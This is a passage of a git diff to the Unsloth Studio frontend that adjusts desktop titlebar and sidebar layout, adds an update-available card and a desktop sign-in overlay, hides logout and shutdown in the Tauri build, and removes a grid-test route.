+  "--studio-content-top-inset": "0px",
+  "--studio-non-chat-content-top-inset": "34px",
+  "--studio-hidden-route-top-inset": "34px",
+  "--studio-chat-header-height": "44px",
+  "--studio-chat-header-padding-top": "8px",
+  "--studio-chat-control-height": "33px",
+  "--studio-chat-header-right-inset": "0px",
+} as CSSProperties;
+
+const CUSTOM_CHROME_STYLE = {
+  "--studio-titlebar-height": "0px",
+  "--studio-custom-titlebar-height": "34px",
+  "--studio-sidebar-expanded-width": "17.5rem",
+  "--studio-sidebar-collapsed-width": "3rem",
+  "--studio-startup-top-inset": "42px",
+  "--studio-content-top-inset": "34px",
+  "--studio-hidden-route-top-inset": "34px",
+  "--studio-chat-header-height": "48px",
+  "--studio-chat-header-padding-top": "9px",
+  "--studio-chat-control-height": "33px",
+  "--studio-chat-header-right-inset": "0px",
+  "--studio-window-control-inset": "112px",
+} as CSSProperties;
+
 function TauriWrapper({ children }: { children: ReactNode }) {
   const pathname = useRouterState({ select: (s) => s.location.pathname });
   const {
@@ -254,6 +328,11 @@ function TauriWrapper({ children }: { children: ReactNode }) {
     return () => { disposed = true; };
   }, [status, desktopAuthRetry]);
 
+  useEffect(() => {
+    if (!isTauri || status !== "running" || !desktopAuthReady) return;
+    void fetchDeviceType({ force: true }).catch(() => undefined);
+  }, [status, desktopAuthReady]);
+
   if (!isTauri) {
     return (
       <>
@@ -275,18 +354,37 @@ function TauriWrapper({ children }: { children: ReactNode }) {
     );
   }
 
-  const showApp = status === "running" && desktopAuthReady;
+  const showApp = status === "running";
+  const desktopBooting = status === "running" && !desktopAuthReady;
+  const showInteractiveApp = showApp && desktopAuthReady;
   const startupStatus = status === "running" ? "starting" : status;
-  const startupProgressDetail =
-    status === "running" && !desktopAuthReady
-      ? "Signing in to desktop session..."
-      : progressDetail;
+  const startupProgressDetail = progressDetail;
+  const usesCustomTitlebar = shouldUseCustomWindowTitlebar();
+  const usesNativeMacTitlebar = shouldUseNativeMacWindowTitlebar();
+  const hidesTitlebarSidebar = HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname);
 
   const content = showApp ? (
     <>
-      <TauriUpdateLayer isExternalServer={isExternalServer} />
-      <NativeIntentDrain />
-      {children}
+      <TauriUpdateLayer isExternalServer={isExternalServer}>
+        <LlamaUpdateBanner
+          positioned={false}
+          enabled={showInteractiveApp && !hidesTitlebarSidebar}
+        />
+        {showInteractiveApp ? <DownloadManagerPanel positioned={false} /> : null}
+      </TauriUpdateLayer>
+      {showInteractiveApp ? <NativeIntentDrain /> : null}
+      {showInteractiveApp ? children : null}
+      {desktopBooting ? (
+        <div className="pointer-events-none fixed inset-x-0 bottom-5 z-[9999] flex justify-center px-4">
+          <div className="absolute inset-x-4 bottom-16 mx-auto flex max-w-[520px] flex-col items-center gap-2 rounded-2xl border border-border/70 bg-background/95 px-6 py-5 text-center shadow-xl">
+            <div className="font-medium text-sm">Preparing Studio</div>
+            <div className="text-muted-foreground text-xs">The local backend is ready. Signing in to your desktop session before loading chats.</div>
+          </div>
+          <div className="rounded-full border border-border/70 bg-background/95 px-4 py-2 text-xs text-muted-foreground shadow-lg">
+            Signing in to desktop session...
+          </div>
+        </div>
+      ) : null}
     </>
   ) : (
     <StartupScreen
@@ -305,39 +403,48 @@ function TauriWrapper({ children }: { children: ReactNode }) {
     />
   );
 
-  if (!shouldUseCustomWindowTitlebar()) {
+  if (!usesCustomTitlebar) {
     // macOS desktop uses the native titlebar and returns here before the
     // custom-titlebar branch, so mount the updater banner on this path too.
-    return (
-      <>
-        {content}
-        <div className="pointer-events-none fixed bottom-4 right-4 z-[9998] flex w-[calc(100vw-2rem)] max-w-[400px] flex-col items-stretch gap-2">
-          <LlamaUpdateBanner
-            positioned={false}
-            enabled={showApp && !HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname)}
-          />
-          {showApp ? <DownloadManagerPanel positioned={false} /> : null}
+    if (usesNativeMacTitlebar) {
+      return (
+        <div
+          className={
+            hidesTitlebarSidebar
+              ? "relative h-dvh min-h-0 overflow-x-hidden overflow-y-auto bg-background"
+              : "relative h-dvh min-h-0 overflow-hidden bg-background"
+          }
+          style={MAC_NATIVE_CHROME_STYLE}
+        >
+          {(!showApp || hidesTitlebarSidebar) ? (
+            <div
+              data-tauri-drag-region
+              aria-hidden="true"
+              className="pointer-events-auto fixed inset-x-0 top-0 z-50 h-[var(--studio-mac-titlebar-height,34px)] select-none"
+            />
+          ) : null}
+          {content}
         </div>
-      </>
+      );
+    }
+
+    return (
+      <>{content}</>
     );
   }
 
   const showSidebarSurface =
-    showApp && !HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname);
+    showApp && !hidesTitlebarSidebar;
 
   return (
-    <div className="flex h-dvh min-h-0 flex-col overflow-hidden bg-background [--studio-titlebar-height:34px]">
+    <div
+      className="relative h-dvh min-h-0 overflow-hidden bg-background"
+      style={CUSTOM_CHROME_STYLE}
+    >
       <WindowTitlebar showSidebarSurface={showSidebarSurface} />
-      <div className="min-h-0 flex-1 overflow-hidden">
+      <div className="h-full min-h-0 overflow-hidden">
         {content}
       </div>
-      <div className="pointer-events-none fixed bottom-4 right-4 z-[9998] flex w-[calc(100vw-2rem)] max-w-[400px] flex-col items-stretch gap-2">
-        <LlamaUpdateBanner
-          positioned={false}
-          enabled={showApp && !HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname)}
-        />
-        {showApp ? <DownloadManagerPanel positioned={false} /> : null}
-      </div>
     </div>
   );
 }
diff --git a/studio/frontend/src/app/router.tsx b/studio/frontend/src/app/router.tsx
index 5c18e637e2..586c03d5df 100644
--- a/studio/frontend/src/app/router.tsx
+++ b/studio/frontend/src/app/router.tsx
@@ -10,7 +10,6 @@ import { Route as dataRecipesRoute } from "./routes/data-recipes";
 import { Route as dataRecipeRoute } from "./routes/data-recipes.$recipeId";
 import { Route as chatRoute } from "./routes/chat";
 import { Route as exportRoute } from "./routes/export";
-import { Route as gridTestRoute } from "./routes/grid-test";
 import { Route as indexRoute } from "./routes/index";
 import { Route as loginRoute } from "./routes/login";
 import { Route as hubRoute } from "./routes/hub";
@@ -25,7 +24,6 @@ const routeTree = rootRoute.addChildren([
   onboardingRoute,
   loginRoute,
   changePasswordRoute,
-  gridTestRoute,
   hubRoute,
   settingsRoute,
   studioRoute,
diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx
index 77ba5788db..8c6ddd197a 100644
--- a/studio/frontend/src/app/routes/__root.tsx
+++ b/studio/frontend/src/app/routes/__root.tsx
@@ -70,6 +70,9 @@ const CHAT_ONLY_ALLOWED = new Set([
   "/login",
   "/signup",
   "/change-password",
+  // Export stays reachable on chat-only hosts so the page can show its own grayed-out reason
+  // instead of a silent redirect; it self-gates via export capability, so nothing runs.
+  "/export",
 ]);
 
 function isChatOnlyAllowed(pathname: string): boolean {
@@ -219,7 +222,7 @@ function RootLayout() {
       <SettingsDialog />
       <RemoteCodeConsentDialog />
       {hideNavbar ? (
-        <main className="flex-1">
+        <main className="flex-1 pt-[var(--studio-hidden-route-top-inset,0px)] [--studio-titlebar-height:var(--studio-hidden-route-top-inset,0px)]">
           <Suspense fallback={<RouteFallback />}>
             <Outlet />
           </Suspense>
@@ -235,7 +238,7 @@ function RootLayout() {
           <SidebarInset className={isChatRoute ? "overflow-hidden" : "overflow-y-auto"}>
             <Navbar />
             <div
-              className={`relative flex min-h-0 min-w-0 flex-1 basis-0 flex-col ${isChatRoute ? "overflow-hidden" : "overflow-visible"} ${isChatRoute ? "" : "pt-14 md:pt-0"}`}
+              className={`relative flex min-h-0 min-w-0 flex-1 basis-0 flex-col ${isChatRoute ? "overflow-hidden" : "overflow-visible"} ${isChatRoute ? "" : "pt-14 md:pt-[var(--studio-non-chat-content-top-inset,var(--studio-content-top-inset,0px))] md:[--studio-titlebar-height:var(--studio-non-chat-content-top-inset,var(--studio-content-top-inset,0px))]"}`}
             >
               {/* Stays mounted across navigation so an in-flight generation is
                   not cancelled when leaving /chat; hidden (not unmounted) off-route.
diff --git a/studio/frontend/src/app/routes/grid-test.tsx b/studio/frontend/src/app/routes/grid-test.tsx
deleted file mode 100644
index c4b6b505a1..0000000000
--- a/studio/frontend/src/app/routes/grid-test.tsx
+++ /dev/null
@@ -1,69 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-import { DashboardGrid, DashboardLayout } from "@/components/layout";
-import {
-  Card,
-  CardContent,
-  CardDescription,
-  CardHeader,
-  CardTitle,
-} from "@/components/ui/card";
-import { createRoute } from "@tanstack/react-router";
-import { requireAuth } from "../auth-guards";
-import { Route as rootRoute } from "./__root";
-
-export const Route = createRoute({
-  getParentRoute: () => rootRoute,
-  path: "/grid-test",
-  beforeLoad: () => requireAuth(),
-  component: GridTestPage,
-});
-
-function GridTestPage() {
-  return (
-    <DashboardLayout>
-      <div className="space-y-8">
-        <div>
-          <h1 className="text-2xl font-semibold">Grid Test - 3 Columns</h1>
-          <p className="text-muted-foreground">
-            max-w-7xl, gap-6, responsive 1→2→3
-          </p>
-        </div>
-
-        <DashboardGrid cols={3}>
-          {[1, 2, 3].map((i) => (
-            <Card key={i}>
-              <CardHeader>
-                <CardTitle>Card {i}</CardTitle>
-                <CardDescription>~400px at 1280px viewport</CardDescription>
-              </CardHeader>
-              <CardContent>
-                <div className="h-24 rounded-lg bg-muted" />
-              </CardContent>
-            </Card>
-          ))}
-        </DashboardGrid>
-
-        <div>
-          <h2 className="text-xl font-semibold">4 Columns</h2>
-          <p className="text-muted-foreground">~296px per card at 1280px</p>
-        </div>
-
-        <DashboardGrid cols={4}>
-          {[1, 2, 3, 4].map((i) => (
-            <Card key={i} size="sm">
-              <CardHeader>
-                <CardTitle>Card {i}</CardTitle>
-                <CardDescription>Smaller cards</CardDescription>
-              </CardHeader>
-              <CardContent>
-                <div className="h-16 rounded-lg bg-muted" />
-              </CardContent>
-            </Card>
-          ))}
-        </DashboardGrid>
-      </div>
-    </DashboardLayout>
-  );
-}
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 734860138a..fb1a1fc9c7 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -44,9 +44,17 @@ import { Button } from "@/components/ui/button";
 import { Spinner } from "@/components/ui/spinner";
 import { Switch } from "@/components/ui/switch";
 import { useAnimatedThemeToggle } from "@/components/ui/animated-theme-toggler";
+import {
+  shouldUseCustomWindowTitlebar,
+  shouldUseNativeMacWindowTitlebar,
+} from "@/components/tauri/window-titlebar";
 import { cn } from "@/lib/utils";
+import { isTauri } from "@/lib/api-base";
+import { useWebUpdateCheck } from "@/hooks/use-web-update-check";
 import {
   Archive03Icon,
+  ArrowRight02Icon,
+  BadgeInfoIcon,
   ChefHatIcon,
   CursorInfo02Icon,
   DashboardCircleIcon,
@@ -115,6 +123,7 @@ import {
   deleteTrainingRun,
   emitTrainingRunDeleted,
   emitTrainingRunUpdated,
+  getTrainingRunDisplayTitle,
   removeTrainingUnloadGuard,
   renameTrainingRun,
   useTrainingCompletionWatch,
@@ -256,6 +265,8 @@ function NavItem({
 export function AppSidebar() {
   const t = useT();
   const { isDark, toggleTheme, anchorRef } = useAnimatedThemeToggle();
+  const [usesCustomTitlebar] = useState(shouldUseCustomWindowTitlebar);
+  const [usesNativeMacTitlebar] = useState(shouldUseNativeMacWindowTitlebar);
   const { pathname, search } = useRouterState({
     select: (s) => ({
       pathname: s.location.pathname,
@@ -265,6 +276,13 @@ export function AppSidebar() {
   const { togglePinned, isMobile, setOpenMobile } = useSidebar();
   const navigate = useNavigate();
 
+  // Web update detection: `webUpdate` is non-null only when the installed
+  // (PyPI) version is behind the latest release, so the card is hidden by
+  // default.
+  const { status: webUpdate } = useWebUpdateCheck();
+  const showUpdateCard = Boolean(webUpdate);
+  const updateVersion = webUpdate?.latestVersion ?? null;
+
   // Auto-close mobile Sheet after navigation
   const closeMobileIfOpen = () => {
     if (isMobile) setOpenMobile(false);
@@ -272,13 +290,12 @@ export function AppSidebar() {
 
   const chatOnly = usePlatformStore((s) => s.isChatOnly());
   const chatOnlyReason = usePlatformStore((s) => s.chatOnlyReason);
-  // When Train/Export are greyed out (chat-only host), explain why on hover
-  // instead of disabling them silently. mlx_unavailable is the common macOS case
-  // after a reinstall/update dropped MLX and is recoverable via `unsloth studio update`.
-  const trainExportDisabledHint: string | undefined = !chatOnly
+  // Explain a greyed-out Train (chat-only host) on hover instead of disabling silently. Export is
+  // no longer disabled here: it stays navigable so its page can show a precise grayed-out reason.
+  const trainDisabledHint: string | undefined = !chatOnly
     ? undefined
     : chatOnlyReason === "mlx_unavailable"
-      ? "Training needs MLX. Run `unsloth studio update` to enable Train and Export."
+      ? "Training needs MLX. Run `unsloth studio update` to enable Train."
       : chatOnlyReason === "intel_mac"
         ? "Training needs Apple Silicon or a GPU. Intel Macs are chat-only."
         : chatOnlyReason === "no_gpu"
@@ -428,9 +445,14 @@ export function AppSidebar() {
     chatOpen,
     trainOpen,
     runsOpen,
+    pinnedOpen,
     isStudioRoute,
   ]);
 
+  const chatDisabled = trainingInProgress;
+  const showSidebarBrand = !usesCustomTitlebar;
+  const showCompactMacBrand = showSidebarBrand && usesNativeMacTitlebar;
+
   function chatSearchForProject(projectId: string | null) {
     if (projectId) {
       return { project: projectId };
@@ -554,7 +576,7 @@ export function AppSidebar() {
     setRenamingTarget({ kind: "chat", item, current: item.title });
   }
   function openRenameRun(run: TrainingRunSummary) {
-    const current = run.display_name ?? run.model_name;
+    const current = getTrainingRunDisplayTitle(run);
     setRenameDraft(current);
     setRenamingTarget({ kind: "run", run, current });
   }
@@ -956,81 +978,118 @@ export function AppSidebar() {
       variant="sidebar"
       className="font-heading group-data-[collapsible=icon]:[&_[data-sidebar=sidebar]]:bg-white dark:group-data-[collapsible=icon]:[&_[data-sidebar=sidebar]]:bg-background"
     >
-      <SidebarHeader className="pl-[17px] pr-3 pt-[14px] pb-[8px] group-data-[collapsible=icon]:px-0">
-        {/* Expanded: compact logo + close toggle */}
-        <div className="flex items-center justify-between gap-[8.5px] group-data-[collapsible=icon]:hidden">
-          <Link
-            to="/chat"
-            onClick={(event) => {
-              event.preventDefault();
-              openNewChat(null);
-            }}
-            className="flex items-center gap-[6px] select-none"
-            aria-label={t("shell.aria.home")}
-          >
-            <img
-              src="/circle-logo-small.png"
-              alt="Unsloth"
-              className="h-[34px] w-[34px] rounded-full object-cover"
-            />
-            <span className="font-heading text-[21px] font-semibold tracking-[0em] dark:tracking-[0.02em] leading-none text-black dark:text-white">
-              unsloth
-            </span>
-            <span className="nav-badge ml-0.5 inline-flex items-center justify-center rounded-full border border-nav-beta-border px-[5px] pt-[3px] pb-[2px] text-[8px] font-medium leading-none tracking-[0.04em] text-nav-fg-muted antialiased subpixel-antialiased shadow-[0_1px_2px_rgba(0,0,0,0.06)] dark:shadow-[0_1px_2px_rgba(0,0,0,0.35)]">
-              {t("shell.beta")}
-            </span>
-          </Link>
-          {!isMobile && (
-            <Tooltip>
-              <TooltipPrimitive.Trigger asChild>
-                <button
-                  type="button"
-                  onClick={togglePinned}
-                  className="inline-flex h-[33px] w-[33px] cursor-pointer items-center justify-center rounded-[10px] text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
-                  aria-label={t("shell.aria.closeSidebar")}
+      <SidebarHeader
+        className={cn(
+          "relative",
+          showSidebarBrand
+            ? showCompactMacBrand
+              ? "h-[var(--studio-chat-header-height,48px)] pl-[calc(var(--studio-mac-traffic-light-inset,78px)+6px)] pr-2 pt-[var(--studio-chat-header-padding-top,9px)] pb-0 group-data-[collapsible=icon]:h-[calc(var(--studio-mac-titlebar-height,34px)+var(--studio-chat-control-height,33px)+8px)] group-data-[collapsible=icon]:px-0 group-data-[collapsible=icon]:pt-[calc(var(--studio-mac-titlebar-height,34px)+8px)]"
+              : "pl-[17px] pr-3 pt-[14px] pb-[8px] group-data-[collapsible=icon]:px-0"
+            : "h-[var(--studio-custom-titlebar-height,34px)] shrink-0 p-0",
+        )}
+      >
+        {showSidebarBrand && (
+          <>
+            {usesNativeMacTitlebar && (
+              <div
+                data-tauri-drag-region
+                aria-hidden="true"
+                className="absolute inset-x-0 top-0 z-0 h-[var(--studio-mac-titlebar-height,34px)] select-none"
+              />
+            )}
+            <div
+              className={cn(
+                "relative z-10 flex items-center gap-[8.5px] group-data-[collapsible=icon]:hidden",
+                showCompactMacBrand &&
+                  "h-[var(--studio-chat-control-height,33px)] justify-end gap-2",
+                !showCompactMacBrand && "justify-between",
+              )}
+            >
+              {!showCompactMacBrand && (
+                <Link
+                  to="/chat"
+                  onClick={(event) => {
+                    event.preventDefault();
+                    if (chatDisabled) return;
+                    openNewChat(null);
+                  }}
+                  className={cn(
+                    "flex items-center gap-[6px] select-none transition-opacity",
+                    chatDisabled && "pointer-events-none opacity-50",
+                  )}
+                  aria-label={t("shell.aria.home")}
+                  aria-disabled={chatDisabled}
+                  tabIndex={chatDisabled ? -1 : undefined}
                 >
-                  <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
-                </button>
-              </TooltipPrimitive.Trigger>
-              <TooltipContent
-                side="bottom"
-                sideOffset={6}
-                className="tooltip-compact"
-              >
-                {t("shell.aria.closeSidebar")}
-              </TooltipContent>
-            </Tooltip>
-          )}
-        </div>
-
-        {/* Collapsed: panel icon doubles as expand trigger */}
-        {!isMobile && (
-          <div className="hidden group-data-[collapsible=icon]:flex h-[33px] items-center justify-center w-full">
-            <Tooltip>
-              <TooltipPrimitive.Trigger asChild>
-                <button
-                  type="button"
-                  onClick={togglePinned}
-                  className="inline-flex h-[33px] w-[33px] cursor-pointer items-center justify-center rounded-[10px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
-                  aria-label={t("shell.aria.openSidebar")}
-                >
-                  <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
-                </button>
-              </TooltipPrimitive.Trigger>
-              <TooltipContent
-                side="right"
-                sideOffset={8}
-                className="tooltip-compact"
-              >
-                {t("shell.aria.openSidebar")}
-              </TooltipContent>
-            </Tooltip>
-          </div>
+                  <img
+                    src="/circle-logo-small.png"
+                    alt="Unsloth"
+                    className="h-[34px] w-[34px] rounded-full object-cover"
+                  />
+                  <span className="font-heading text-[21px] font-semibold tracking-[0em] leading-none text-black dark:text-white dark:tracking-[0.02em]">
+                    unsloth
+                  </span>
+                  <span className="nav-badge ml-0.5 inline-flex items-center justify-center rounded-full border border-nav-beta-border px-[5px] pt-[3px] pb-[2px] text-[8px] font-medium leading-none tracking-[0.04em] text-nav-fg-muted antialiased subpixel-antialiased shadow-[0_1px_2px_rgba(0,0,0,0.06)] dark:shadow-[0_1px_2px_rgba(0,0,0,0.35)]">
+                    {t("shell.beta")}
+                  </span>
+                </Link>
+              )}
+              {!isMobile && (
+                <Tooltip>
+                  <TooltipPrimitive.Trigger asChild>
+                    <button
+                      type="button"
+                      onClick={togglePinned}
+                      className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      aria-label={t("shell.aria.closeSidebar")}
+                    >
+                      <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
+                    </button>
+                  </TooltipPrimitive.Trigger>
+                  <TooltipContent
+                    side="bottom"
+                    sideOffset={6}
+                    className="tooltip-compact"
+                  >
+                    {t("shell.aria.closeSidebar")}
+                  </TooltipContent>
+                </Tooltip>
+              )}
+            </div>
+            {!isMobile && (
+              <div className="relative z-10 hidden group-data-[collapsible=icon]:flex h-[33px] items-center justify-center w-full">
+                <Tooltip>
+                  <TooltipPrimitive.Trigger asChild>
+                    <button
+                      type="button"
+                      onClick={togglePinned}
+                      className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      aria-label={t("shell.aria.openSidebar")}
+                    >
+                      <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
+                    </button>
+                  </TooltipPrimitive.Trigger>
+                  <TooltipContent
+                    side="right"
+                    sideOffset={8}
+                    className="tooltip-compact"
+                  >
+                    {t("shell.aria.openSidebar")}
+                  </TooltipContent>
+                </Tooltip>
+              </div>
+            )}
+          </>
         )}
       </SidebarHeader>
 
       {/* Uniform pl-1.5 pr-2 keeps every hover pill the same width, inset from the edge. */}
-      <SidebarGroup className="group-data-[collapsible=icon]:px-0 pl-1.5 pr-2 pt-[9px] pb-px shrink-0">
+      <SidebarGroup
+        className={cn(
+          "group-data-[collapsible=icon]:px-0 pl-1.5 pr-2 pb-px shrink-0",
+          showCompactMacBrand ? "pt-0" : "pt-[9px]",
+        )}
+      >
         <SidebarGroupContent>
           <SidebarMenu>
             <NavItem
@@ -1077,6 +1136,16 @@ export function AppSidebar() {
       <SidebarContent
         ref={scrollRef}
         onScroll={(e) => syncScrollState(e.currentTarget)}
+        // Collapsible groups animate their height; re-measure the fade once the
+        // open/close animation settles, not on the (still-animating) state flip.
+        onAnimationEnd={(e) => {
+          if (
+            e.animationName === "collapsible-down" ||
+            e.animationName === "collapsible-up"
+          ) {
+            syncScrollState(e.currentTarget);
+          }
+        }}
         className={cn(
           // pb-2 keeps the last row's rounded highlight clear of the
           // overflow clip edge so its bottom corners aren't shaved off.
@@ -1136,7 +1205,7 @@ export function AppSidebar() {
                   pathname === "/studio" || pathname.startsWith("/studio/")
                 }
                 disabled={chatOnly}
-                tooltip={trainExportDisabledHint}
+                tooltip={trainDisabledHint}
                 spinner={trainingInProgress}
                 onClick={() => {
                   if (chatOnly) return;
@@ -1165,7 +1234,7 @@ export function AppSidebar() {
                     label={t("shell.navigation.train")}
                     active={pathname === "/studio" || pathname.startsWith("/studio/")}
                     disabled={chatOnly}
-                    tooltip={trainExportDisabledHint}
+                    tooltip={trainDisabledHint}
                     spinner={trainingInProgress}
                     onClick={() => {
                       if (chatOnly) return;
@@ -1186,11 +1255,8 @@ export function AppSidebar() {
                     icon={DownloadSquare01Icon}
                     label={t("shell.navigation.export")}
                     active={pathname === "/export" || pathname.startsWith("/export/")}
-                    disabled={chatOnly}
-                    tooltip={trainExportDisabledHint}
                     spinner={exportInProgress}
                     onClick={() => {
-                      if (chatOnly) return;
                       navigate({ to: "/export" });
                       closeMobileIfOpen();
                     }}
@@ -1292,7 +1358,7 @@ export function AppSidebar() {
                               aria-hidden
                             />
                             <span className="truncate">
-                              {run.display_name ?? run.model_name}
+                              {getTrainingRunDisplayTitle(run)}
                             </span>
                             <span className="ml-auto mr-0.5 shrink-0 text-[10px] text-muted-foreground">
                               {formatRelativeShort(run.started_at)}
@@ -1348,18 +1414,75 @@ export function AppSidebar() {
         )}
       </SidebarContent>
 
-      <SidebarFooter className="relative group-data-[collapsible=icon]:px-0">
+      <SidebarFooter
+        className={cn(
+          "relative pb-3 group-data-[collapsible=icon]:px-0",
+          // Tighter top with the update card so the fade hugs it; fuller top
+          // for the profile on its own.
+          showUpdateCard ? "pt-1.5" : "pt-2.5",
+        )}
+      >
         {/* Fade above the profile box, shown only when there's more list below
             the fold; at the bottom (or short lists) it fades so the last row
             shows fully (Gemini-style). right-2 keeps it clear of the 8px scrollbar gutter. */}
         <div
           aria-hidden="true"
           className={cn(
-            "pointer-events-none absolute left-0 right-2 bottom-full h-10 bg-gradient-to-t from-[var(--sidebar)] to-[rgb(from_var(--sidebar)_r_g_b/0)] transition-opacity duration-200",
+            "pointer-events-none absolute left-0 right-2 bottom-full bg-gradient-to-t from-[var(--sidebar)] to-[rgb(from_var(--sidebar)_r_g_b/0)] transition-opacity duration-200",
+            // Shorter fade when the update card sits above the profile so the
+            // list reads closer to it.
+            showUpdateCard ? "h-3" : "h-10",
             canScrollDown ? "opacity-100" : "opacity-0",
           )}
         />
-        <SidebarMenu>
+        <SidebarMenu className="gap-3 group-data-[collapsible=icon]:gap-2.5">
+          {/* Update affordance — shows only when a newer version is available. */}
+          {showUpdateCard && (
+            <SidebarMenuItem>
+              <button
+                type="button"
+                aria-label={t("shell.updateAvailable")}
+                onClick={() => {
+                  useSettingsDialogStore
+                    .getState()
+                    .openDialog("about", { scrollTarget: "about-updates" });
+                  closeMobileIfOpen();
+                }}
+                className="flex h-[44px] w-full items-center gap-[9px] rounded-[14px] border border-border/60 bg-transparent px-2 py-[3px] text-left transition-colors hover:bg-nav-surface-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:h-[34px] group-data-[collapsible=icon]:w-[34px] group-data-[collapsible=icon]:justify-center group-data-[collapsible=icon]:gap-0 group-data-[collapsible=icon]:rounded-full group-data-[collapsible=icon]:p-0"
+              >
+                <span
+                  aria-hidden="true"
+                  className="flex size-[32px] shrink-0 items-center justify-center group-data-[collapsible=icon]:size-full"
+                >
+                  <HugeiconsIcon
+                    icon={BadgeInfoIcon}
+                    strokeWidth={1.75}
+                    className="size-[21px] text-nav-fg"
+                  />
+                </span>
+                <div className="flex min-w-0 flex-col gap-px leading-tight group-data-[collapsible=icon]:hidden">
+                  <span className="truncate font-heading text-[13.5px] font-semibold text-nav-fg">
+                    {t("shell.updateAvailable")}
+                  </span>
+                  {updateVersion && (
+                    <span className="truncate text-[11.5px] text-muted-foreground">
+                      v{updateVersion}
+                    </span>
+                  )}
+                </div>
+                <span
+                  aria-hidden="true"
+                  className="ml-auto flex size-[32px] shrink-0 items-center justify-center text-muted-foreground group-data-[collapsible=icon]:hidden"
+                >
+                  <HugeiconsIcon
+                    icon={ArrowRight02Icon}
+                    className="size-[17px]"
+                    strokeWidth={1.75}
+                  />
+                </span>
+              </button>
+            </SidebarMenuItem>
+          )}
           <SidebarMenuItem>
             <DropdownMenu>
               <DropdownMenuTrigger asChild>
@@ -1381,11 +1504,16 @@ export function AppSidebar() {
                     <span className="truncate text-[11.5px] tracking-nav text-muted-foreground">Unsloth</span>
                   </div>
                   {/* settings cog (replaces the up/down chevron) */}
-                  <HugeiconsIcon
-                    icon={Settings02Icon}
-                    strokeWidth={1.5}
-                    className="ml-auto !size-[18px] text-muted-foreground group-data-[collapsible=icon]:hidden"
-                  />
+                  <span
+                    aria-hidden="true"
+                    className="ml-auto flex size-[32px] shrink-0 items-center justify-center text-muted-foreground group-data-[collapsible=icon]:hidden"
+                  >
+                    <HugeiconsIcon
+                      icon={Settings02Icon}
+                      strokeWidth={1.5}
+                      className="!size-[18px]"
+                    />
+                  </span>
                 </SidebarMenuButton>
               </DropdownMenuTrigger>
               <DropdownMenuContent
@@ -1446,25 +1574,29 @@ export function AppSidebar() {
                   <HugeiconsIcon icon={HelpCircleIcon} strokeWidth={1.75} className="size-icon" />
                   <span>{t("common.help")}</span>
                 </DropdownMenuItem>
-                <DropdownMenuItem
-                  onSelect={async () => {
-                    // Best-effort server revocation; ignore network errors so
-                    // the local clear still runs and the user lands on /login.
-                    try {
-                      await logout();
-                    } catch {
-                      clearAuthTokens();
-                    }
-                    void navigate({ to: "/login" });
-                  }}
-                >
-                  <HugeiconsIcon icon={Logout05Icon} strokeWidth={1.75} className="size-icon" />
-                  <span>{t("shell.navigation.logOut")}</span>
-                </DropdownMenuItem>
-                <DropdownMenuItem onSelect={() => setShutdownOpen(true)}>
-                  <HugeiconsIcon icon={PowerIcon} strokeWidth={1.75} className="size-icon" />
-                  <span>{t("common.shutdown")}</span>
-                </DropdownMenuItem>
+                {!isTauri && (
+                  <DropdownMenuItem
+                    onSelect={async () => {
+                      // Best-effort server revocation; ignore network errors so
+                      // the local clear still runs and the user lands on /login.
+                      try {
+                        await logout();
+                      } catch {
+                        clearAuthTokens();
+                      }
+                      void navigate({ to: "/login" });
+                    }}
+                  >
+                    <HugeiconsIcon icon={Logout05Icon} strokeWidth={1.75} className="size-icon" />
+                    <span>{t("shell.navigation.logOut")}</span>
+                  </DropdownMenuItem>
+                )}
+                {!isTauri && (
+                  <DropdownMenuItem onSelect={() => setShutdownOpen(true)}>
+                    <HugeiconsIcon icon={PowerIcon} strokeWidth={1.75} className="size-icon" />
+                    <span>{t("common.shutdown")}</span>
+                  </DropdownMenuItem>
+                )}
               </DropdownMenuContent>
             </DropdownMenu>
           </SidebarMenuItem>
@@ -1472,11 +1604,13 @@ export function AppSidebar() {
       </SidebarFooter>
     </Sidebar>
     <ChatSearchDialog />
-    <ShutdownDialog
-      open={shutdownOpen}
-      onOpenChange={setShutdownOpen}
-      onAfterShutdown={removeTrainingUnloadGuard}
-    />
+    {!isTauri && (
+      <ShutdownDialog
+        open={shutdownOpen}
+        onOpenChange={setShutdownOpen}
+        onAfterShutdown={removeTrainingUnloadGuard}
+      />
+    )}
     <Dialog
       open={confirmingDelete !== null}
       onOpenChange={(open) => {
@@ -1500,8 +1634,7 @@ export function AppSidebar() {
               renderEmphasizedTranslation(
                 t,
                 "shell.dialog.deleteRun.description",
-                confirmingDelete.run.display_name ??
-                  confirmingDelete.run.model_name,
+                getTrainingRunDisplayTitle(confirmingDelete.run),
               )
